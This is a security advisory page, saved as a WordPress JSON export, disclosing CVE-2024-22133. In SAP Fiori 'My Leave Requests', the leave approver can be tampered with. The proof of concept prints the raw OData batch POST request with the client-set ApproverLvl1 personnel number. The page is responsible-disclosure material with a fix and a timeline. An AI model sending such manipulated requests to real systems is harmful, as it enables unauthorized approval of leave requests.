{"id":23199,"date":"2024-10-30T09:23:14","date_gmt":"2024-10-30T08:23:14","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23199"},"modified":"2024-11-08T16:13:52","modified_gmt":"2024-11-08T15:13:52","slug":"usd-2023-0042","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0042\/","title":{"rendered":"usd-2023-0042"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.0\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0042 | Improper Access Control in Leave Requests<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0042<br \/><strong>Product<\/strong>: SAP Fiori - My Leave Requests (Version 3\/Fiori 2.0)<br \/><strong>Affected Version<\/strong>: Component: GBX01HR5 605 0020, Support Package: SAPK-60520INGBX01HR5<br \/><strong>Vulnerability Type<\/strong>: CWE-284: Improper Access Control<br \/><strong>Security Risk<\/strong>: CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:L\/UI:N\/VC:N\/VI:L\/VA:N\/SC:N\/SI:N\/SA:N (Medium)<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/www.sap.com<\/a><br \/><strong>Vendor Acknowledged Vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2024-22133<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-22133\" target=\"_blank\" rel=\"noopener\">CVE-2024-22133<\/a><\/p>\n<h3>Affected Component(s)<\/h3>\n<p>SAP Fiori Applikation My Leave Requests (Version 3\/Fiori 2.0)<br \/><a href=\"https:\/\/fioriappslibrary.hana.ondemand.com\/sap\/fix\/externalViewer\/#\/detail\/Apps(&#039;F1311A&#039;)\/W38\" target=\"_blank\" rel=\"noopener\">https:\/\/fioriappslibrary.hana.ondemand.com\/sap\/fix\/externalViewer\/#\/detail\/Apps('F1311A')\/W38<\/a><\/p>\n<h3>Desciption<\/h3>\n<p>Leave requests can be submitted via the application. The respective supervisor is stored as the approver, who cannot be changed via the front end.<\/p>\n<p>Via the OData backend API call, which is sent as soon as a leave request is sent, any other employee can be set as the approver.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>During a leave request, the following request will be sent to the OData backend:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/sap\/opu\/odata\/sap\/HCMFAB_LEAVE_REQUEST_CR_SRV\/$batch?sap-client=001<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">2<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">&lt;sap-fiori-host&gt;<br \/><\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\"><br \/>[...]<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p>--batch_ee60-88db-eb95<\/p>\n<p>Content-Type: multipart\/mixed; boundary=changeset_4f6a-f52d-09f8<\/p>\n<p>--changeset_4f6a-f52d-09f8<\/p>\n<p>Content-Type: application\/http<br \/>Content-Transfer-Encoding: binary<\/p>\n<p>POST LeaveRequestSet?sap-client=001 HTTP\/1.1<br \/>Content-Type: application\/jsonsap-context<br \/>id-accept: header<br \/>Accept: application\/json<br \/>x-csrf-token: GArPMRDcc1-LL4y1wfsAIA==<br \/>Accept-Language: en<br \/>DataServiceVersion: 2.0<br \/>MaxDataServiceVersion: 2.0<br \/>Content-Length: 375<\/p>\n<p>{<br \/>\"StartDate\":\"\\\/Date(1702252800000)\\\/\",\"EndDate\":\"\\\/Date(1702252800000)\\\/\",\"StartTime\":\"\",\"EndTime\":\"\",<br \/>\"__metadata\":{\"type\":\"HCMFAB_LEAVE_REQUEST_CR_SRV.LeaveRequest\"},<br \/>\"EmployeeID\":\"00204915\",\"AbsenceTypeName\":\"Urlaub\",\"AbsenceTypeCode\":\"0100\",<br \/>\"ApproverLvl1\":{\"Name\":\"&lt;ApproverName&gt;\",\"Pernr\":\"00204914\",\"Seqnr\":\"001\",\"DefaultFlag\":false},<br \/>\"Notes\":\"\",\"IsMultiLevelApproval\":false<br \/>}<\/p>\n<p>--changeset_4f6a-f52d-09f8--<\/p>\n<p>--batch_ee60-88db-eb95--<\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<p>As can be seen in line 28, the approver is also sent by the client. This means that any other personnel number can be set as the approver. If the own personnel number is set, the leave request will be created correctly. However, it is not possible to approve the leave request yourself. However, as already mentioned, each personnel number can be specified by another person who can then approve the application.<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to restrict access to sensitive functions or information by default. Required access privileges should be granted explicitly by a global access control mechanism. Furthermore, the approver should not be manipulable by the client<\/p>\n<h3>References<\/h3>\n<p><a>https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-12-06<\/strong>: First contact request via SAP's Vulnerability Disclosure Form.<\/li>\n<li><strong>2023-12-21<\/strong>: The vulnerability is confirmed by SAP and a fix is in the works.<\/li>\n<li><strong>2024-05-12<\/strong>: SAP released the patch in <a href=\"https:\/\/me.sap.com\/notes\/3417399\" target=\"_blank\" rel=\"noopener\">SAP Note 3417399.<\/a><strong><\/strong><\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Ole Wagner of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0042 | Improper Access Control in Leave Requests Advisory ID: usd-2023-0042Product: SAP Fiori - My Leave Requests (Version 3\/Fiori 2.0)Affected Version: Component: GBX01HR5 605 0020, Support Package: SAPK-60520INGBX01HR5Vulnerability Type: CWE-284: Improper Access ControlSecurity Risk: CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:L\/UI:N\/VC:N\/VI:L\/VA:N\/SC:N\/SI:N\/SA:N (Medium)Vendor URL: https:\/\/www.sap.comVendor Acknowledged Vulnerability: YesVendor Status: FixedCVE Number: CVE-2024-22133CVE Link: CVE-2024-22133 Affected Component(s) SAP Fiori Applikation My Leave Requests [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23199","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23199"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23199\/revisions"}],"predecessor-version":[{"id":23672,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23199\/revisions\/23672"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}